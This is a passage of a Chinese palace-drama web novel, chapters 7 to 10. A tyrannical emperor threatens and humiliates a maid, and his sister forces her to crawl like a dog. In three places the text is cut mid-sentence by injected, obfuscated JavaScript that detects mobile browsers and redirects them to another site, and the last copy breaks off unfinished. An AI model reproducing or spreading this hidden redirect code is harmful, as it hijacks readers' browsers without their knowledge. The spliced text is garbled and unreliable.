司衣司算是她的老本家,她总不能来了乾清宫以后就忘了本吧。 妙珠说完这话,便不吭声了,继续手上的动作。 她已经说了实话了,陈怀衡应当就不会再发作了。 然而陈怀衡却盯着她问:“谁准你假了?” 妙珠错愕地看向他,不明白他这又是何意,却又不敢牵扯卿云,怕说出来后要连累她也被害了,红唇都抿得发白,琢磨着开口,不过好在陈怀衡也没有想要在谁给了她假这事上纠结,他只道:“中秋便有假了?想得倒好。” “朕不准。” 他极其轻易地就剥夺了妙珠这个几个时辰的假期。 妙珠愣愣地看着眼前恶劣至极的帝王,唇瓣咬得紧,竟不知是何时渗出了血珠。 “嗯......” 终究是没说些什么,低低地应下了声。 陈怀衡这个人就是这样坏,他很喜欢欣赏旁人的窘迫,也很喜欢旁人悄无声息的臣服,这难道不是显而易见的事情吗? 她不怨他,倒是怨自己,非要在他面前无端展露出那样高兴的情绪来,叫他抓住了能捉弄旁人的把柄。 妙珠死死地垂着脑袋,将自己的表情掩藏了一干二净,只是握着松烟墨的手指用力,都已经泛了白。 “嗯”了一声之后,妙珠就低了脑袋,陈怀衡看不清楚她的表情,只能从她发白的指尖看出她泄露出来的情绪。 他不喜欢遮掩,不容许面前卑微的宫女藏着自己的情绪。 相比之下,他还是喜欢袒露...... 直白的袒露。 这或许是帝王的高傲,也或许是陈怀衡的恶意。 他靠在椅上,转动着手上的玉扳指,看着那低着头的脑袋发出了极尽简洁的命令。 “抬头。” 妙珠的眼睛早就不争气地红成了一片,不敢违逆陈怀衡的话,还是依言抬起了头。 只是心中到底还是生出一股极微的叛逆,她垂着眼,不曾看他。 “眼睛不知道看主子,那挖了好不好?” 这声音低低地传入了妙珠的耳廓,她很快想起了以往乾清宫也是有人被挖过眼珠,反应过来后几乎是马上抬眼看向陈怀衡。 恐惧的情绪就在刹那间涌上了心头,那伤春悲秋的情绪转瞬消退,蓄满的泪水很快消失不见,只剩下眼中的红润昭示着她那些残余的心绪。 7. 第七章 陈怀衡的手上有一下没一下转着扳指,看着她泛红的双眼,问道:“是在气朕?” 他面无表情,像是在询问。 可他的话落在妙珠的耳中却是另外一番味道,陈怀衡就像是在对她说:“便是不让你回去司衣司,你又凭什么气朕?” 在生死和健全的身躯面前,妙珠又一次展现了自己的卑微胆小。 她说:“奴婢死也不敢。” 他是皇帝,他可以做主她的一切决定,并且,她还不能够去置喙他。 陈怀衡似乎是满意她的回答,又似是满意她的怯懦,以及她那无止境的卑贱。 身为帝王,为所欲为,他理应享受天下人的卑贱。 这不是什么古怪的移情,更不需要任何的情节辅助,或许单单只是他这些年高居帝王之位养成的恶劣习惯。 这显然背离人性,只是,那又如何? 他最不需要的就是人性。 他厌恶那些儒家义理,美好品德,即便从十岁开始,一直到十六岁为止,他都在文华殿学习四书五经,孔孟之道,大学士们皆品格高尚,他的老师是两任首辅大人,就连太皇太后对他的品行教育也尤为重视,她垂帘听政的那几年使劲浑身解数,望他长成一个良金美玉的好少年。 就这样,陈怀衡还是不负众望地往着和大家期望中截然相反的地方去了。 不过除了平日里头爱杀几个小宫女玩玩外,他那暴虐的性情也不曾体现在大臣们的身上。那便是无所谓了,痛苦不落实到他们的身上,他们也就不曾大肆说过什么陈怀衡的坏话,死一些宫女什么的,那也只能是说她们手脚不利落,怎么能说帝王暴虐呢? 再者,帝王平日宵衣旰食,手段雷霆,自从十六岁起,太皇太后不伴于左右,他为帝期间也从不曾出过什么纰漏。对于一个幼年登基的帝王,太过苛责也不符人之常情。 乾清宫中一派安静,陈怀衡看着妙珠不知是在想些什么,而妙珠怕被扣了眼珠,又不敢不看陈怀衡...... 悄悄的,怯怯的。 这时,卿云从殿外进来,妙珠趁着这会功夫不住地眨着干涩的眼。 卿云是来说关于孝端太后的事。 孝端太后是陈怀衡的生母,出身不大高,曾经先皇还在世之时她不是皇后,只是个淑妃,而陈怀衡也不是太子。 皇帝不是太子出身。 这就得论起另外一场渊源了。 当初先皇在世时,曾是立过两个太子的。第一个太子是皇后所出,只可惜天生体弱,后来染了一场风寒,没挨过去,一命归西,死去的懿明太子体弱传于母体,皇后身子亦不好,膝下只一儿一女,而自太子丧了命,再无所出。 第二个太子是皇贵妃所出,先太子故去后,他被封为太子,只可惜,这个太子命也不顺,一次游湖,不慎落水,身上不知何处落了病根,回去后一病不起,最后还是没挺过去。 两任太子先后离世,这让先皇打起了警惕,疑心是有人谋害皇嗣,可是派出锦衣卫的人查探后,却也不曾发现什么蹊跷,一切都只是他们命途多舛,没有皇命罢了。先帝晚年酷爱丹石,那时被他宠幸着的道士提出“二龙不相见”五字,太子是龙,皇帝也是龙,怕是相冲,太子们福薄命薄,撑不了什么场面,便先继离世。 也正是因此缘故,先帝便再没立下过太子。 拢共还余下四位皇子,陈怀衡年岁不是最大,母亲身份也不是最尊贵的,按照大昭的法制来说,一切顺嫡长,他的头上还有两个活着的哥哥,身份也比之尊贵,就如三皇子,如今的协王。 协王陈怀霖金相玉质,光风霁月,性任真坦率,与人处,无贵贱贤不肖,咸平心无竞,与之相处者无不夸耀,他的政治才能早在年少之时也已初见端倪,先皇在世时对他很是器重。 然而,不知为何,最后先皇龙驭宾天,竟没有立下三皇子继承衣钵的遗诏,反倒是选了最不起眼的五皇子陈怀衡。 世人猜测如云,可随着时间过去,也很少有人能再记得当初的情形,而随着少帝脚步渐稳,自也没人敢再去无端揣测。 卿云现下过来,是因太后的慈宁宫来了人,原是近来暑热,太后食欲不振,今日用过午膳之后,还犯了暑病。 大昭以孝治天下,即便陈怀衡性情再怎么乖戾,可毕竟也是生母,她出了什么事,往慈宁宫跑一趟也必不可少。 陈怀衡也没多说些什么,直接让人准备了銮驾,前往慈宁宫去。 妙珠和卿云一同伴在身侧,慈宁宫她以前是来过的,她在司衣司里头,先前来给太后送过两身新做的夏装。 晌午过后,阳光最是强烈,皇帝倒还好,坐在轿辇之中,头顶华盖,妙珠和卿云一路走来,待到了慈宁宫时,汗水都快浸了满背。 慈宁宫的的屋顶覆着黄色琉璃瓦,于烈阳下闪烁着异常刺眼的光,里头的人听闻帝王突然亲临,忙迎着他往里殿去,孝端太后正躺在床榻上躺着歇息。 除了孝端皇后在,陈怀衡一母同胞的妹妹华宁公主也在此间。 华宁小他五岁,现如今也才十三。 她年岁正小,身上穿的戴的也都花花绿绿,看着就跟只小花孔雀一样,她坐在孝端太后的身边,手上在玩弄着鲁班锁,见到陈怀衡过来之后,也乖巧地起身同他行了礼。 “皇兄万福。” 陈怀衡的视线也就只在她的身上停留了一眼,淡淡地“嗯”了一声,也算是应下了。 华宁也不怵他,毕竟先皇留下了这么的皇子、公主,可只有他们两个是同母同父的亲兄妹,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373752|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间理该是比旁人亲近的。 只陈怀衡的冷淡叫她实在不好亲近,见他应了声,她也无话可说,识趣地起身给他让了位,去了一旁站着。 那边母子二人见了面后便开始寒暄了起来。 太后被人搀扶起了身,她对陈怀衡道:“你那政务繁忙,倒辛苦还要往我这跑上一趟了,也是些不打紧的事,太医过来瞧过了,就是中暍罢了,祛祛暑便好了。” 太后年岁不大,当初生下陈怀衡的时候才十六岁,现如今也不过三十四,她保养得好,眉眼之间不见皱纹,额间也不见白发,只是中了暑,脸上看着难免沧桑了些,然而即便如此,也能看出其年轻之时的芳华,眉眼之间依稀能见得同陈怀衡一二分相像。 陈怀衡道:“母后病了,做儿臣的自然是要过来瞧一瞧,左右只是一些奏折要看,也没什么其余的事,来便来了。” “难为你有心了。” 他们的话并不多,好像除了基本的寒暄之外就没其余好说了,说完了这些之后,两人竟就这样陷入了诡异的沉默,最后还是太后开口打破了这片沉默。 太后看了看陈怀衡,又看了看华宁,最后对她道:“华宁,你去外头玩会,我和你皇兄有话要说。” 华宁提溜着眼睛往两人的身上看,看得出他们一会还要说些她不大适合听的东西,可即便如此,她还是有些不大情愿出去。 外面的冰鉴没有屋里头的凉快,出去了后定是要受热的。 不过华宁突是想到了什么,视线竟落到了他身后的卿云和妙珠身上。 她在卿云和妙珠那里看来看去,最后落到了妙珠的身上,她指着她,对陈怀衡道:“皇兄能叫她陪我一同出去玩吗。” 华宁自然对陈怀衡的行径知道些许,她知道,他向来不将她们当做人的。 倒是太后先开口了,她斥她道:“你自己身边难道没有侍女?还把手伸到了你皇兄身上去。” 陈怀衡闻此也不过微微蹙眉,最后也没说什么,挑眉道:“出去吧。” 华宁高兴,带着妙珠就起身往外去了。 人在哪里,冰鉴就在哪里,外面果然是比里面要闷热一些。 妙珠不用侍奉在陈怀衡的身边,也乐得轻松,她一开始同华宁出去,本以为只是陪公主随便玩会,总归不会比待在陈怀衡的身边还要累的。 然而,谁知两人一出外间,就听华宁对她道:“你知道狗是怎么爬的吗?我见过狗爬,还不曾见过人爬,你能学给我看看吗?” 妙珠听到这话后,耳畔微鸣,嗡嗡做响。 华宁娇俏的嘴唇里面吐出这些话,于她而言就像是再正常简单不过的事。 你能学给我看看吗? 这是询问吗。 不,这是命令。 8. 第八章 妙珠的脸又红又白,午后的阳光炽烈,穿过纱窗,漏进了殿内,爬到了妙珠的脚上。 妙珠竟想起了幼年的往事。 她自小的时候就没有爹,娘又是个傻子,因着家里的缘故,村子上的那些皮孩子们也最喜欢欺负妙珠,孩童之间的恶意来得极端莫名,一点的不好马上就能成为他们欺负人的靶子。 他们喜欢偷她的糖,喜欢推搡她,也喜欢让她学狗叫,让她像狗一样在地上爬。 他们说,他们家的娘说妙珠和她的母亲一样,猪狗不如,是个人尽可欺的玩样。 既然如此,那她就该学狗叫,学狗爬给他们瞧瞧看。 可是,那个时候的妙珠,天不怕地不怕,在家挨够了打,在外才不再受那些老舍子气,他们欺负她,她就叉着腰骂娘,“你们这些个囚囊腌臜货,我去你大爷的,学你娘的狗叫......!” 八岁都没有的年纪,骂人的话已经难听至极,这些话都是她从外祖嘴巴里面学来的,外祖就喜欢这样骂人。她比其他的那些孩子骂得还脏,撒泼撒得还厉害,他们压着她在地上打,那又怎么了?她就是不当狗。 她是人,又怎么能当狗呢。 后来跟着裴嬷嬷进了宫后,她嘴巴里头的那些污言秽语渐渐地被遗忘了,她不敢在宫里头说那些脏话,若是被听到,大概是要被打嘴巴的,不仅如此,也是要给裴嬷嬷惹麻烦的。就这样,渐渐地,即便是叫人欺负了,她也成了个哑巴,那些辱骂人的脏话,她更是连想都不敢去想。 只怕心里头一想,嘴巴里头就要跟着骂骂咧咧。 “喂,我同你说话呢,你想些什么呢?” 华宁的声音将妙珠从回忆之中拉了出来。 她的记忆从那小村庄被拉到了眼前的皇宫。 华宁又道:“不行吗?” 不行吗? 有什么不行的呢。 她不是人,她可以当狗的。 可是她仍旧接受不了自己分明是人,却不能做人的苦痛,她面上的表情像是极难忍受,额间竟都开始淌了冷汗。 华宁已经坐到了一旁的椅子上,她方才在殿内就已经瞧出这人是个软柿子中的软柿子了,她知道她是不敢拒绝自己的。 华宁骄纵道:“你快些,我都等急了。” 殿外的气氛焦灼,此刻,就在几步之遥的里殿中,气氛不知也是从何时开始变得冷凝了起来。 陈怀衡和孝端太后一开始分明是在说些家常话,可后来不知是怎么就引到了近来的修官道一事。 从家事到国事,就那么寥寥几句的功夫,屋内氛围也在转瞬之间就跟着发生了变化。 孝端太后道:“皇上近来在为修官道一事头疼?” 朝堂上发生的事情很快就不胫而走,那些事情太后自然也有耳闻。 陈怀衡坐在一旁的椅上,视线淡淡地落在太后身后,回道:“头疼犯不上,朕已有了主意。” 修还是不修,他心里头已经有了打算,有了打算,那便不会再为这件事情伤神。 只是,他一个人的打算也没什么用,到时候内阁开了会,大家商议过后,这事才好落实下去。 太皇太后虽然两年前开始不再垂帘听政,可在后头也一直没有消停下来,她在前朝有一定的地位,又是帝王的亲祖母,他难以完全摆脱她的掣肘。再者,前朝的文官们也都有着自己的想法,偌大的文官集团,他也不可能顾忌得了每个人的心意,总会有那么些个人不满意,不满意的人就总是想闹些什么。 陈怀衡可以暴虐,可以残忍,但不可以独断专行,所以很多的事情,还是要从内阁和司礼监那边过个明路,才好施行。 太后眉心一跳,问他:“有主意了?那你是如何做想?” 陈怀衡道:“没甚好修的,现下国库也不充盈,这样劳民伤财的事,何须多此一举呢。” 竟是不修了。 太后讪讪地笑了一声:“原是想着若修的话,这差事能叫你外祖来看看,他终归是自家人,办着放心些嘛。不过,既是不修了,可曾同其他的几位阁老商议过?” 太后的母族李家原先只是个五品人家,在工部里面任郎中,不过自从陈怀衡登基之后,封了“武安伯”,后来慢慢升到了右侍郎的位。 这修官道,自是工部的事。只是中间的水分也海了个去,能操作的空间也多,户部批个两百万白银下去,谁又能知道到底有多少钱是去修官道,有多少钱是被中饱私囊。 太后如今提起让武安伯来办此事,其中自然是掺杂了些许的私心。 然而听到陈怀衡说没有再修官道的意图,太后也不好再去多嘴,只好换了说法去问,内阁的几位阁员可都知道这事了? 陈怀衡道:“此事不急。” 再过些时日就是三年一度的秋闱,这官道究竟修不修,陈怀衡也有意将此做为这次秋闱的试题,考察那些生员。 只是这事他自然不会去和孝端太后说,若是他没记错的话,他那李家的表兄弟此次也有人要参加,和她说了,保不齐要嘴巴漏风。 陈怀衡在这处露了个面,问候了她两句。其他的也没什么再好谈下去了,大抵就是太后问李家讨些好处过去。 他没什么能和她多说的了,国事和她说不清楚,家事更没甚好说。 没打算再在此地多留,陈怀衡又嘱咐了两句孝端太后安生驱热驱邪便起身告退。 他掀袍起身,从里殿往外去,越近殿外,嬉笑声也越发强烈。 也不知道那个小蠢货是和华宁在玩些什么,惹得华宁竟这般兴奋快活。 平日里头在他面前战战兢兢,倒是不想去了外面倒又如鱼得水。 他开口又想讥讽那宫女阳奉阴违,然而,看到眼前的情形之后,却在原地顿了好半晌。 华宁的思绪全然在眼前的妙珠身上,丝毫没有注意到从里殿出来的陈怀衡。 “学得真像,再快些!叫出声来,狗是会叫出声的!” 妙珠四肢着地,殿内的瓷砖被擦得锃亮,她匍匐于地,学狗爬行。 最后还是没有如华宁所愿叫出声来,喉咙已经被酸涩填满,梗满了泪,如何还能再发出声? 直到,一旁传出了一声女子的低呼,是卿云发出的惊骇声。 “妙珠!” 妙珠抬头往声音传来方向看去,就见陈怀衡面目森然立在那处,那张削薄的唇一径挂着抹冷笑,鼻梁高挺,在光影的照射下直立出一道近乎刻薄的峰影。 妙珠看到了自己的主子,看得出帝王生怒,终于直起了上身,然而,那薄薄的脊背却怎么都挺不起来了。 她佝偻地跪在地上,喉咙里的泪水随着身子的挺直,也终于涌上了眼睛,泪水毫无征兆地从眼眶夺出,妙珠害怕,匆忙抬手擦去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373753|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “丢脸现世的蠢货,果真下贱。” 一会没看到,就去给人当了狗,岂不下贱? 妙珠经常会挨陈怀衡的训斥,每回都只是左耳朵进右耳朵出,毕竟如果要把陈怀衡说的那些东西记在肚子里头,她是真不用活了,光是羞愧,都够她死个上百回。可这回不知道是怎么的了,泪水竟怎么都止不住,跪在地上,就那样缩着脑袋啜泣不止。 她能怎么办呢?公主让她学狗,难道她要对她叉腰破口大骂?又或者是去寻他的庇护? 她在他的眼中,本就下贱,当不当狗的,又有什么区别呢。 难道她不学狗,便不下贱了吗? 陈怀衡低头蔑视着那个瘦弱胆怯的宫女,她缩头缩脑,只露出一截细白的脖颈,倒也知道丢脸二字,还晓得会哭。 华宁饶是再傻,也察觉出了气氛的不对劲,不过,挨骂的又不是她,是那个宫女,可谁知下一刻,本来还在训斥宫女的陈怀衡却抬眼看向了她。 他的眼神太过锐利,若是华宁没有感觉错,竟觉其中带着几分阴毒。 下一刻,陈怀衡出声道:“便是这样做公主?回去抄十遍弟子规。” “为什么?”华宁下意识反驳他。 宫里头有小太监、小宫女,他们谁都能陪她玩这样的游戏,没有什么是他们不能做的,满宫殿的地砖,他们那些日日磕头下跪的人,早就已经摸了个干净,不过是学狗爬,那又有什么不对的地方吗? 而且,她只是让她学狗爬而已,可是皇兄自己却会挖走她们的眼珠,砍断她们的手脚,她这样难道不算仁慈吗? “皇兄不是向来看不起她们的吗,我只是让她陪我玩了个游戏,皇兄为什么要罚我。” 她满脸都是纯真之色,这样的事情在她眼中就是再寻常不过的事情。 “华宁。” 陈怀衡充满警告性的两个字让华宁彻底噤了声,看着他那阴翳的眼神,她再也不敢狡辩。 他又看向了华宁身边的侍女,寒声道:“谁若是敢帮公主代笔,朕就斩了谁的手,十日抄完,送来乾清宫,朕亲自过目检查。” 陈怀衡说砍手,那旁的人是不会怀疑真假的。 说完这话后,他便拂袖离开,妙珠赶忙爬起了身就要跟去,然而跪得太久,一个踉跄,差点摔倒,还是卿云扶了她一把才堪堪站稳。 在殿里头爬得久了,膝盖都疼得厉害,回去的路上,妙珠跟在陈怀衡的銮驾旁都一瘸一拐,方才哭得厉害,现在泪是止住不落了,可还是忍不住抽噎。 “朕的脸都叫你丢完了,你倒还有脸哭。” 方才出来一看到这蠢货给人当狗,只欲冷笑,现下脸是丢完了,倒又开始抽抽搭搭掉眼泪。 陈怀衡坐在銮驾上,她那低低地啜泣声不知怎么就听得人格外心烦,他冷声唬她:“朕还没扒过人的皮,你左右是不要脸了,朕替你去了。” 天光正盛,太阳正毫不留情地从头顶照下,没有一点能给人躲闪的机会,热浪夹杂着焦躁的风吹来,让人的肌肤更觉滚烫,妙珠听到陈怀衡的话后,面色瞬间变得惨白一片,汗水从脑门一股股地盗下,汗渍浸得眼睛生疼,嗓子眼又干又涩,分明是走在烈日之中,却不知为什么身上又冷又凉。 妙珠被恐惧裹挟,此刻如置于无间炼狱,十八重业火烧身,她再受不住,竟就那样直挺挺地昏了过去。 9. 第九章 陈怀衡从慈宁宫离开之后,受了委屈的公主就跑进了寝殿里面朝孝端太后诉苦。 孝端太后见此直皱眉头。 方才一直都还好好的,不是出去和小宫女玩了吗,这后来是出了什么事呢? 一旁的宫人上前将事情经过说给了太后听,她才跟着知晓了方才发生的事。 华宁被陈怀衡罚过,仍旧觉着委屈,还在同太后不停哭诉:“母后,皇兄竟要为那小宫女罚我!他是不是看上她了!” 华宁怎么都不懂,宫里头的人不都说皇帝动辄打杀宫女吗,可他现在又为什么要护着宫女,来惩罚她呢! 太后听后,连连蹙眉,气得伸手拧她的耳朵:“你哪里来的胆子,嗯?!怎么能把手伸到你皇兄的头上呢,你那哪里是在轻贱宫女,分明是在轻贱你皇兄啊!” “我怎么就轻贱她了?” 她让她当狗,怎么就算轻贱了。 华宁一边躲着太后,一边又还在嘴硬:“再说怎么就和皇兄有干系了!” 太后气得不顾仪态骂她:“你个蠢出升天的,你皇兄乐意罚他宫里的人,那是他的事情,你把手伸到他那里,欺辱他身边的人,不是在打他的脸,那难不成是在打我的脸?!” 太后这般说,华宁总该是转过神来了,却还是委屈:“十遍弟子规也太多了,他还不叫旁人来帮我,说谁若是帮我便砍了谁的手......十日,我昏天黑地去抄也抄不完啊!” “抄不完也得抄,你犯到了他的手上,岂能饶你?你皇兄是什么性子难道你还不知道?天王老子来了也别想着爬他头上。你更别想着叫人代笔,他既说了要亲自查验,便是不给你这蒙混过关的机会。” 陈怀衡性冷,对亲情二字也向来凉薄,即便她是他的亲生妹妹,可也见不得会心软,这回华宁触了他的霉头,自也别想着轻易再轻易躲过了。 华宁再不情愿,可见母亲这般说了,最后也实在是没了办法,只得认下。 * 夜凉如水,白日昏过去的妙珠终于幽幽转醒。 她回去的路上被陈怀衡那句“扒皮”直接吓晕了过去,再醒来过后,就已经是在乾清宫旁的配房之中了,外头的天都黑透了。 醒来之后,她第一反应就是去摸自己的脸,脸上的皮肤完好,又见双手的肌肤尚在,才终于松了口气。 荣桃一直在旁边守着,见她醒了过来忙凑了上去,她道:“妙珠,你这吓死人了,怎么出去一趟,闹成这样子回来了?” 荣桃一边说着,一边扶着她起了身,她为她端来了水,递到了她的嘴边喂她喝下。 妙珠嗓子干得难受,搭着荣桃的手将杯盏里头的水一饮而尽,她擦了擦嘴角的水珠,含糊道:“回来的路上太热了,没受住,应当是进了暑气。” 妙珠对陈怀衡说过的那句话仍旧耿耿于怀,她试探性问道:“荣桃......我昏过去后,你可知陛下有说些什么......又或者卿云姐有传些什么话来?” 说起这个,荣桃这才想起来卿云还给她留了话,她道:“卿云姐说你辛苦了,让你往后重新去后苑那头浇花就好。” 荣桃想,大概是妙珠心理实在是太脆弱了些,没受住陛下的磋磨,不过这样也好,她这好歹是全须全尾的退了下来。 妙珠不可置信竟还因祸得福,她不放心又接着问:“只有这些,不曾说了其他的话吗?” 荣桃笑:“还能说些什么呢,妙珠,你傻了不成?” 妙珠听到荣桃的话,这才彻底松了口气,看样子陈怀衡说扒皮什么的,应当是唬她来的,他大概是嫌她蠢笨,又丢了他的脸,把她驱逐了开。 不过,这对妙珠来说自然也算好事。 跟在他的身边没什么好处,反倒日日提心吊胆。 既被赶走了,她自是将这当成上天重新恩赐给她的眷顾。 妙珠便重新做回了以往的活计,期间还碰到了卿云几回,卿云也没说什么,只是让她这些时日躲着些陈怀衡,大抵是怕他又想起上回在慈宁宫的事情,来同她重新算账。 至于陈怀衡,卿云又重新派了个宫女去他的身边服侍,好在也没犯什么错,乾清宫近些时日没什么流血事件。 不知不觉几日轮转而过,很快便要到了中秋。 在十五的前一日,卿云允了妙珠回司衣司一趟,也不说是给了她放假,只说是让她跑腿去司衣司取个东西物什回来,左右妙珠已经不在陈怀衡身边服侍了,这离开一趟,也没甚干系。 她趁着天不曾黑下来,抓紧时间往六局的方向跑去。 回去的时候,司衣司的院门径自开着,妙珠直接往里面跑,院子里头的人听到动静往门口看去,本还以为是来了什么人,这般急匆匆,才发现是妙珠回来了。 妙珠随便抓了个人问:“嬷嬷在哪?” 那被她抓到的人看到她后一时没反应过来,下意识回了她的话:“在屋子里头呢。” 妙珠道了声“多谢”,便急匆匆往裴嬷嬷的屋子去。 她隐约听到身后她们议论的声音。 “呦,竟还真活着回来了......” 妙珠没将这些话放在心上,提着衣裙头也不回地往里头跑。 裴嬷嬷这几日眼皮跳得厉害,直觉有什么事情要发生,现下是酉时,快到傍晚,仲秋昼长,现下天还没往下黑透,外头的天也还熹微亮着。 屋子里头的窗户开着透气,临近中秋,傍晚的风已经带着些舒爽的凉意了。 她听到外头传来一阵急促的脚步声,窗前一闪而过一道人影。 刚想起身去看看是什么动静,却听到门口处传来了妙珠的扣门声。 “嬷嬷,我回来啦!!” 是妙珠的声音! 难怪眼皮跳得这样厉害,原是好事将至,裴嬷嬷喜上眉梢,忙去开了门。 “嬷嬷!” 门一开,妙珠整个人就已经往着裴嬷嬷的怀里扑。 裴嬷嬷被她一撞,差点站不稳当,不过最后还是牢牢地将人揽在怀中。 “死孩子,怎么这么没轻没重的。” 她一边责备着她,一边却又轻轻地抚着她的背。 妙珠抱着裴嬷嬷好一会,她闻着她身上熟悉的皂角香,鼻腔发酸,险些落出泪来。 这宫里头到处都是浑浊,唯独嬷嬷的怀中是那样干净,就像是幼年那会,她被她从那个满是污遭的地方带出来,嬷嬷把她抱在怀中,她身上的味道也能让她短暂地忘却了痛苦。 裴嬷嬷看妙珠这样,也多少猜出她这些时日是受了委屈。 在皇上身边的日子应当是不好过的,妙珠这样的木讷的性子,一定每日都过得悬心吊胆。 两人就这样抱着彼此,过了好一会,裴嬷嬷终于把人从怀中拉出来,她拉着妙珠左看右看,看她没有哪里受了伤,才终于松了一口气。 只是这么些日没见,妙珠腮上的嫩肉瞧着消下去了许多,她一边去关了门窗,一边问她道:“乾清宫的伙食难道还不好?怎还瘦了这么多。” 妙珠不欲让嬷嬷担心,她摇头道:“只是前段时日天气热了而已。” 嬷嬷哪里不知她在作谎,她又问她:“这些时日在乾清宫过得可还好?有没有犯错被罚啊?” 两人说话间已经坐到了凳子上头,裴嬷嬷看着她的眼神带着不自觉的疼惜。 “过得还不错的,这回去的八个人,现下就只有一个出了事呢。” 嚯,那听着还真是硕果颇丰,不知道的人还觉着皇上是天大的善人呢。 裴嬷嬷道:“且不说出事情不出事的话,我这是问你过得好不好呢。” “我也过得好,乾清宫那边的饭食倒是不错的,我还交到新的朋友了呢,她叫荣桃,比我小上两岁,和我们是一个地方的人,都南郡来的,她人很好,我们会一起吃饭,一起去浴堂。 说到这里,妙珠的话顿了顿,又垂着脑袋道:“她......很像小妹。” 每个人都有玩伴,独独妙珠没有。 可是去了乾清宫后,她也有了。 至于小妹...... 妙珠已经很久没有提起过她了。 荣桃特别像小妹。 她还比小妹小一岁。 妙珠时常觉得她就是小妹投胎转世来的。 裴嬷嬷见她说起荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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妙珠最后还是没在这里待多久,怕回去晚了得出差错。 不过,能回来见嬷嬷一眼她也已经满足了,让嬷嬷知道她很好,这也够了。 临行前,嬷嬷摸着她的脑袋,叮嘱着她:“好好侍奉陛下就行了,嬷嬷等你下次回来。” 妙珠又抱了抱裴嬷嬷,吸了吸她身上令人安心的味道,便匆匆往着乾清宫回去。 从司衣司回乾清宫的路她早就已经背了熟,知道哪条路最快,知道哪条路上巡逻的侍卫最少。 天色已黑,现下约莫是戌时,御花园那处巡逻的侍卫应当还不曾到,妙珠往那条路疾走。 御花园那处偶有人往来,妙珠没敢撒腿就跑,只是脚步迈得快了一些。 此地花草纷繁,仲秋已到,依稀能闻到桂花的香气。 月光落在树上,在地上洒下了一圈又一圈的斑驳光影,妙珠沿着蜿蜒的小径前行,周遭奇花异草竞相绽放,桂花香盖了满园,她踏上了御花园的拱桥,然而,在这时却猝不防地撞上一硬物。 极硬...... 妙珠鼻子都快撞出血来了,她一时不察,差点没站稳要滚下拱桥,好在对面同她相撞的那人反应迅速,一把给她捞了回来。 只是叫这么一拉,那脸差点又叫撞上那坚硬的胸膛,好在那双手又及时按住了妙珠的肩膀,才没叫她又一次倒霉。 妙珠脑子来回晃得发懵,好不容易站定,终于看清了现下的情形。 原是两人都往拱桥上来,恰好都瞧不见对方,妙珠又着急,一头就撞进了对面那个男人的胸膛里头。 妙珠按着发疼的鼻子,借着月光看清了同她相撞那人。 眼前男子应当二十出头,他头束玉冠,满袖盈风,一身湛蓝锦袍,在月夜下衬得他更为出尘,比她高出整整一个脑袋来,站在她的身前,将她整个人都快笼在了阴影之中。 妙珠辨不清来人的身份,自入宫后她就一直跟在裴嬷嬷身边,见过的贵人少得可怜,而眼前的人又是男子,她是更没机会见过,他身上的衣着打扮更没有任何能为她提供线索的地方...... 她只能大约猜出,他大抵也是个有身份的人。 她下意识同他道歉:“公子勿怪,奴婢着急一时没有看清路。” 10. 第十章 明日就是中秋,太皇太后办了一场家宴,她传协王陈怀霖今日提前入宫。 方才陈怀霖先是去拜见帝王,这会从乾清宫出来后,又往太皇太后的寝宫去拜见她老人家。 陈怀霖到了弱冠之年就已封王,他比陈怀衡年长三岁,如今二十一岁。本来皇子封了亲王之后应当前往封地,亲王就藩,这是大昭自建国以来就有的法制,然而太皇太后建议陈怀衡将他留下在京城之中。 陈怀霖是个能干的人,留守京城也能协助帝王。 陈怀霖的协王之称亦有此意。 只是......陈怀霖这人又叫人不得不去顾忌,然而太皇太后说出这事之时,陈怀衡竟也不曾反驳,真的留下了他在京城任职。 陈怀霖方才从乾清宫出来之后,心中想着事情,上了拱桥时也不曾注意,倒没想到同另外一个同样不看路的人撞到了一起。 陈怀霖低着头,就见那个小宫女圆润的杏眼已经痛得泛了水光,还没来得及开口说话,就先听到她的喏声道歉。 陈怀霖闻此,抿了抿薄唇,道:“姑娘这话便有偏颇了,这如何能怪你呢?倒是你......鼻子没事吧。” 就在这时,许是福至心灵,妙珠觉着鼻腔中涌来一阵热流,她伸手一摸,就见指尖沾血。 她手忙脚乱从身上去摸帕子出来,一条白帕却先递送到了眼前。 那是一条极其简单的巾帕,纯白无色,没有刺着任何的花样,饶是如此,那条白帕子在那双漂亮的手上瞧着竟也不显单调,反倒带着几分不可言说的贵气。 妙珠听那男子道:“姑娘不嫌弃,便用我的吧。” 妙珠愣愣道:“不合适的,公子。” 帕子是极私密的物件。 陈怀霖道:“没什么不合适,再简单不过的方帕而已。” 便是被人发现,谁又能知道是他的呢。 妙珠见此,也不再推诿,接下之后连连道谢,她怕耽搁了时辰,又怕有人巡防撞见,不敢多说,同眼前之人连连道谢之后便离开了这处。 陈怀霖看着小宫女匆匆忙忙跑走,视线从她的背影收回,也不继续在此地久留,前往了寿宁宫去寻太皇太后。 回去的路上,妙珠擦净了鼻尖淌出的血。 